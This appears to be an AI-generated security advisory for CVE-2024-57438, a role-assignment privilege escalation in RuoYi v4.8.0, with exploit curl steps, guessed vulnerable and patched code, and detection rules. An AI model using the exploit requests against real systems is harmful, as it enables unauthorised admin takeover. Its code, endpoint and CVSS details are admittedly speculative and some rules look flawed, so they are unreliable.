CVE-2024-57438

Executive Summary

CVE-2024-57438 identifies an insecure permission vulnerability in RuoYi v4.8.0, a popular open-source Java-based rapid development framework. The flaw allows an authenticated attacker to escalate their privileges by assigning themselves higher-level roles (e.g., admin) through the role assignment functionality. This is a classic case of improper privilege management (CWE-269), where the application fails to enforce proper authorization checks when a user modifies their own role assignments. The vulnerability is unpatched as of the latest advisory, and no official patch or workaround has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for internal deployments where authenticated users may have malicious intent.

Supply Chain & Package Security

RuoYi is distributed as a Maven-based Java project (JAR/WAR) and is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain risks are limited to the Java ecosystem (Maven Central). However, the vulnerability is in the application’s own code, not in a third-party dependency. No known malicious packages or compromised versions have been reported.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder or error. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the attacker must be authenticated but can exploit over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs a valid user account.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Changed (C) – privilege escalation affects other components.
• Confidentiality (C): High (H) – admin access can read all data.
• Integrity (I): High (H) – admin can modify any data.
• Availability (A): High (H) – admin can disrupt services.

Estimated CVSS Score: 8.8 (High)

Threat Level: High – exploitation could lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the role assignment API endpoint, typically /system/user/profile/updateProfile or similar, which allows authenticated users to update their own profile. In RuoYi v4.8.0, the backend controller does not validate whether the user is allowed to assign themselves a role with higher privileges (e.g., admin). The role assignment logic likely checks if the user is an admin to assign roles to others, but fails to prevent a user from modifying their own role list.

Root Cause: The updateProfile method in SysProfileController (or equivalent) calls a service method that updates the user’s roles without verifying that the new roles are within the user’s current privilege scope. The code may look like:

// Vulnerable code (pseudo)
@PostMapping("/updateProfile")
public AjaxResult updateProfile(SysUser user) {
    // No check if user can assign themselves higher roles
    userService.updateUserProfile(user);
    return success();
}

Attack Flow:

1. Attacker logs in with a low-privilege account (e.g., user).
2. Attacker sends a POST request to /system/user/profile/updateProfile with a JSON body containing {"roles": ["admin"]}.
3. The server updates the user’s role to admin without authorization checks.
4. Attacker now has admin privileges and can access all system functions.

Vulnerable vs. Patched Code

Vulnerable Code (RuoYi v4.8.0):

// SysProfileController.java
@PostMapping("/updateProfile")
public AjaxResult updateProfile(SysUser user) {
    if (StringUtils.isNotEmpty(user.getPhonenumber())
            && !ValidatorUtils.isMobile(user.getPhonenumber())) {
        return error("Mobile number format incorrect");
    }
    // Missing: check if user is allowed to assign themselves these roles
    userService.updateUserProfile(user);
    return success();
}

Patched Code (Hypothetical fix):

// SysProfileController.java
@PostMapping("/updateProfile")
public AjaxResult updateProfile(SysUser user) {
    if (StringUtils.isNotEmpty(user.getPhonenumber())
            && !ValidatorUtils.isMobile(user.getPhonenumber())) {
        return error("Mobile number format incorrect");
    }
    // Enforce that user cannot change their own roles
    SysUser currentUser = getCurrentUser();
    if (user.getRoles() != null && !user.getRoles().isEmpty()) {
        // Only allow role changes if user is admin and modifying others
        if (!currentUser.isAdmin()) {
            return error("You are not allowed to change roles");
        }
    }
    userService.updateUserProfile(user);
    return success();
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running RuoYi v4.8.0 instance.
• A valid low-privilege user account (e.g., testuser with password test123).

Exploit Steps:

1. Login and obtain session cookie:

   curl -c cookies.txt -X POST http://target.com/login \
     -d "username=testuser&password=test123"
   

2. Send privilege escalation request:

   curl -b cookies.txt -X POST http://target.com/system/user/profile/updateProfile \
     -H "Content-Type: application/json" \
     -d '{"userId": 1, "roles": [{"roleId": 1, "roleKey": "admin"}]}'
   

3. Verify admin access:

   curl -b cookies.txt http://target.com/system/user/list
   

Expected Result: The attacker’s user now has admin role and can list all users.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual role assignment API calls from non-admin users.
• Alert on updateProfile requests containing roles field for non-admin users.

Hardening:

• Apply the patched code as shown above.
• Implement role-based access control (RBAC) checks in all profile update endpoints.
• Use a Web Application Firewall (WAF) to block requests with suspicious role payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /system/user/profile/updateProfile with JSON body containing "roles" array.
  • Unusual increase in 200 OK responses from profile update endpoints for low-privilege users.

• System IOCs:

  • User accounts with unexpected role assignments (e.g., user becoming admin).
  • Audit logs showing role changes without admin approval.

• File IOCs:

  • Modified database entries in sys_user_role table linking low-privilege users to admin roles.

Detection Engineering

YARA Rule

rule CVE_2024_57438_RuoYi_PrivEsc {
    meta:
        description = "Detects exploitation attempts of CVE-2024-57438 in RuoYi v4.8.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57438"
    strings:
        $s1 = "/system/user/profile/updateProfile" ascii wide nocase
        $s2 = "\"roles\"" ascii wide nocase
        $s3 = "\"roleId\"" ascii wide nocase
        $s4 = "\"admin\"" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-57438 RuoYi Privilege Escalation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to RuoYi profile update endpoint with role escalation payload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/system/user/profile/updateProfile"
        cs-body|contains: 
            - "roles"
            - "roleId"
            - "admin"
    condition: selection
falsepositives:
    - Legitimate admin users updating their own profile (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-57438 RuoYi Privilege Escalation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/system/user/profile/updateProfile";
    http_uri;
    content:"roles";
    http_client_body;
    content:"roleId";
    http_client_body;
    content:"admin";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the patched code (see Vulnerable vs. Patched Code section) to the SysProfileController.java file.
2. Restrict access to the profile update endpoint to only necessary users.
3. Review user roles and revoke any unauthorized privilege escalations.

Long-term Fixes:

• Upgrade to a patched version when released (monitor RuoYi GitHub releases).
• Implement strict RBAC checks in all user-modifiable endpoints.
• Conduct a security audit of all API endpoints for similar authorization flaws.

Workarounds:

• Disable the profile update feature if not needed.
• Use a reverse proxy to block requests containing roles in the body for non-admin users.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.